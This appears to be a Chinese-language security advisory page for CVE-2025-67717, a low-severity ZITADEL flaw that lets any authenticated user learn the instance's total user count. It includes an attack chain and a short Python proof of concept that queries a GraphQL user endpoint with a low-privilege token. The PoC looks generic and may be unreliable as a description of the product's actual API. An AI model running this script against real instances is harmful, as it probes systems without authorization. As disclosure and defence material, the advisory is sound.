IPBUF安全漏洞报告
English
CVE-2025-67717 CVSS 4.3 中危

ZITADEL CVE-2025-67717 信息泄露漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-67717
漏洞类型
信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ZITADEL

相关标签

信息泄露ZITADEL身份认证API安全权限控制CVE-2025-67717

漏洞概述

ZITADEL是一个开源的身份基础设施工具,广泛应用于企业级身份认证和授权管理场景。该漏洞存在于ZITADEL 2.44.0至3.4.4版本以及4.0.0-rc.1至4.7.1版本中,允许任何已认证用户(无论其具体权限如何)通过API接口获取到ZITADEL实例的用户总数信息。虽然该漏洞不会直接泄露具体用户的个人身份信息(PII)或详细的用户数据,但用户总数这一信息在某些敏感场景下本身就具有重要价值。例如,在竞争情报分析、用户规模统计、或者针对特定组织的定向攻击场景中,用户总数信息都可能成为有价值的情报。攻击者只需拥有基本的账户认证即可利用此漏洞,无需特殊权限或用户交互,这大大降低了漏洞利用的门槛。该信息泄露漏洞虽然不直接造成数据完整性或可用性损失,但违反了最小权限原则,属于安全设计缺陷。

技术细节

该漏洞的核心问题在于ZITADEL的API接口在处理用户查询请求时,未正确实施基于用户权限的访问控制。攻击者通过向用户列表查询接口发送请求时,响应中的totalResult字段会返回整个ZITADEL实例的用户总数。正常情况下,具有受限权限的用户应该只能看到其有权限访问的用户数量,但实际实现中缺少了相应的过滤逻辑。攻击者可以利用标准的API调用(如GraphQL或REST API查询)获取此信息,无需构造特殊的请求或利用系统配置错误。漏洞利用的关键在于利用已获取的有效认证凭证访问用户管理相关的API端点,然后解析响应中的totalResult字段即可获得实例级别的用户总数统计。

攻击链分析

STEP 1
步骤1
攻击者获取ZITADEL实例的基本账户认证(任何有效账户即可,无需特殊权限)
STEP 2
步骤2
使用获得的认证令牌向GraphQL或REST API发送用户查询请求
STEP 3
步骤3
API响应中包含totalResult字段,该字段返回整个实例的用户总数而非基于权限过滤后的数量
STEP 4
步骤4
攻击者解析响应提取用户总数信息,用于后续情报分析或针对性攻击规划

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-67717 PoC - ZITADEL User Count Information Disclosure # This PoC demonstrates how an authenticated user can retrieve # the total number of users in a ZITADEL instance import requests import json TARGET_URL = "https://your-zitadel-instance.com" ATTACKER_TOKEN = "your-authenticated-user-token" def exploit_user_count_disclosure(): """ Exploit CVE-2025-67717 by querying the total user count without proper authorization checks """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Query to get users list (with low privilege account) query = { "query": """ query { users(query: {}) { totalResult nodes { id userName } } } """ } response = requests.post( f"{TARGET_URL}/graphql", headers=headers, json=query ) if response.status_code == 200: data = response.json() total_users = data.get("data", {}).get("users", {}).get("totalResult") print(f"[+] Total users in instance: {total_users}") return total_users else: print(f"[-] Request failed: {response.status_code}") return None if __name__ == "__main__": exploit_user_count_disclosure()

影响范围

ZITADEL 2.44.0 - 3.4.4
ZITADEL 4.0.0-rc.1 - 4.7.1

防御指南

临时缓解措施
如果无法立即升级到修复版本,可以考虑以下临时缓解措施:1) 限制API访问来源,仅允许受信任的IP地址段访问管理API;2) 实施额外的应用层访问控制,在ZITADEL前端添加用户总数显示的权限检查逻辑;3) 使用API网关进行请求过滤和监控;4) 监控和限制单位时间内的API调用频率。需要注意的是,这些措施仅能降低风险,无法完全消除漏洞,建议尽快完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表